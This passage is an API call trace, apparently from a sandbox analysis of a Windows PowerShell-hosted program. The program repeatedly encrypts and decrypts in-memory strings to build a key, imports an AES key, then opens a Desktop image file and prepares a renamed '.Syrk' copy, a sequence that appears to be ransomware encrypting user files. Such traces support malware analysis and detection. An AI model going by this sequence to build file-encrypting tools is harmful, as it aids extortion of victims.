(param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0200.851] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0200.851] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0200.851] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0200.851] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0200.851] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0200.851] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0200.851] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0200.852] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0200.852] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0200.852] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0200.852] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0200.852] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0200.852] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0200.852] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0200.852] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0200.852] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0200.852] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0200.852] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0200.852] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0200.852] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0200.852] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0200.853] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0200.853] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0200.853] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0200.853] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0200.853] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0200.853] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0200.853] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0200.853] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0200.853] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0200.853] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0200.853] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0200.853] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0200.854] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0200.854] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0200.854] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0200.854] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0200.854] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0200.854] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0200.854] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0200.854] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0200.854] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0200.854] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0200.854] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0200.855] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0200.855] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0200.855] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0200.855] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0200.855] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0200.855] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0200.855] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0200.855] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0200.855] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0200.855] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0200.855] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0200.855] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0200.855] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0200.855] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0200.855] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0200.856] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0200.856] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0200.856] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0200.856] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0200.856] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0200.856] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0200.856] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0200.856] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0200.856] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0200.856] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0200.856] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0200.856] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0200.857] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0200.857] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0200.857] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0200.857] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0200.857] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0200.857] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0200.857] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0200.857] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0200.857] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0200.857] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0200.857] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0200.857] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0200.858] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0200.858] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0200.858] SystemFunction041 (in: Memory=0x5c918d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c918d4) returned 0x0 [0200.858] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0200.858] SystemFunction040 (in: Memory=0x5c918d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c918d4) returned 0x0 [0200.858] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0200.858] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0200.858] SystemFunction041 (in: Memory=0x5c918d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c918d4) returned 0x0 [0200.858] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0200.858] SystemFunction040 (in: Memory=0x5c918d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c918d4) returned 0x0 [0200.858] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0200.858] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0200.858] SystemFunction041 (in: Memory=0x5c918d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c918d4) returned 0x0 [0200.859] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0200.859] SystemFunction040 (in: Memory=0x5c918d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c918d4) returned 0x0 [0200.859] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0200.859] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0200.859] SystemFunction041 (in: Memory=0x5c918d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c918d4) returned 0x0 [0200.859] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0200.859] SystemFunction040 (in: Memory=0x5c918d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c918d4) returned 0x0 [0200.859] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0200.859] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0200.859] SystemFunction041 (in: Memory=0x5c918d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c918d4) returned 0x0 [0200.859] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0200.859] SystemFunction040 (in: Memory=0x5c918d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c918d4) returned 0x0 [0200.859] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0200.859] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0200.859] SystemFunction041 (in: Memory=0x5c918d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c918d4) returned 0x0 [0200.860] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0200.860] SystemFunction040 (in: Memory=0x5c918d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c918d4) returned 0x0 [0200.860] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0200.860] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0200.860] SystemFunction041 (in: Memory=0x5c918d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c918d4) returned 0x0 [0200.860] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0200.860] SystemFunction040 (in: Memory=0x5c918d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c918d4) returned 0x0 [0200.860] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0200.860] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0200.860] SystemFunction041 (in: Memory=0x5c918d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c918d4) returned 0x0 [0200.860] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0200.860] SystemFunction040 (in: Memory=0x5c918d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c918d4) returned 0x0 [0200.861] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0200.861] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0200.861] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0200.861] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0200.861] SystemFunction041 (in: Memory=0x3da9cc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da9cc) returned 0x0 [0200.861] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0200.861] SystemFunction040 (in: Memory=0x3da9cc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da9cc) returned 0x0 [0200.861] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0200.862] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0200.862] SystemFunction041 (in: Memory=0x3da9cc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da9cc) returned 0x0 [0200.862] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0200.862] SystemFunction040 (in: Memory=0x3da9cc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da9cc) returned 0x0 [0200.862] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0200.862] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0200.862] SystemFunction041 (in: Memory=0x3da9cc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da9cc) returned 0x0 [0200.862] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0200.862] SystemFunction040 (in: Memory=0x3da9cc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da9cc) returned 0x0 [0200.862] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0200.862] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0200.862] SystemFunction041 (in: Memory=0x3da9cc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da9cc) returned 0x0 [0200.863] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0200.863] SystemFunction040 (in: Memory=0x3da9cc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da9cc) returned 0x0 [0200.863] EtwEventActivityIdControl () returned 0x0 [0200.863] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0200.863] SystemFunction041 (in: Memory=0x3da9cc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da9cc) returned 0x0 [0200.863] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0200.863] SystemFunction040 (in: Memory=0x3da9cc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da9cc) returned 0x0 [0200.865] CryptAcquireContextW (in: phProv=0x5a2e660, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e660*=0x5c4cff0) returned 1 [0200.867] CryptImportKey (in: hProv=0x5c4cff0, pbData=0x2450968*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea54 | out: phKey=0x5a2ea54*=0x5c68d40) returned 1 [0200.867] CryptContextAddRef (hProv=0x5c4cff0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0200.867] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e7c0, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0200.868] EtwEventActivityIdControl () returned 0x0 [0200.868] EtwEventActivityIdControl () returned 0x0 [0200.868] EtwEventActivityIdControl () returned 0x0 [0201.026] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\A_Xuo41AM2 4XZ.gif" (normalized: "c:\\users\\keecfmwgj\\desktop\\a_xuo41am2 4xz.gif")) returned 0x20 [0201.027] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\A_Xuo41AM2 4XZ.gif" (normalized: "c:\\users\\keecfmwgj\\desktop\\a_xuo41am2 4xz.gif")) returned 0x20 [0201.027] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\A_Xuo41AM2 4XZ.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0201.027] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\A_Xuo41AM2 4XZ.gif", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\A_Xuo41AM2 4XZ.gif", lpFilePart=0x0) returned 0x2d [0201.029] EtwEventActivityIdControl () returned 0x0 [0201.030] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0201.031] EtwEventActivityIdControl () returned 0x0 [0201.031] EtwEventActivityIdControl () returned 0x0 [0201.032] EtwEventActivityIdControl () returned 0x0 [0201.035] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\A_Xuo41AM2 4XZ.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0201.035] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\A_Xuo41AM2 4XZ.gif", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\A_Xuo41AM2 4XZ.gif", lpFilePart=0x0) returned 0x2d [0201.035] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e240) returned 1 [0201.035] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\A_Xuo41AM2 4XZ.gif" (normalized: "c:\\users\\keecfmwgj\\desktop\\a_xuo41am2 4xz.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x44c [0201.036] GetFileType (hFile=0x44c) returned 0x1 [0201.036] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e23c) returned 1 [0201.036] GetFileType (hFile=0x44c) returned 0x1 [0201.036] EtwEventActivityIdControl () returned 0x0 [0201.037] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0201.037] EtwEventActivityIdControl () returned 0x0 [0201.037] EtwEventActivityIdControl () returned 0x0 [0201.037] EtwEventActivityIdControl () returned 0x0 [0201.038] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\A_Xuo41AM2 4XZ.gif.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0201.038] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\A_Xuo41AM2 4XZ.gif.Syrk", nBufferLength=0x33, lpBuffer=0x3e84f8, 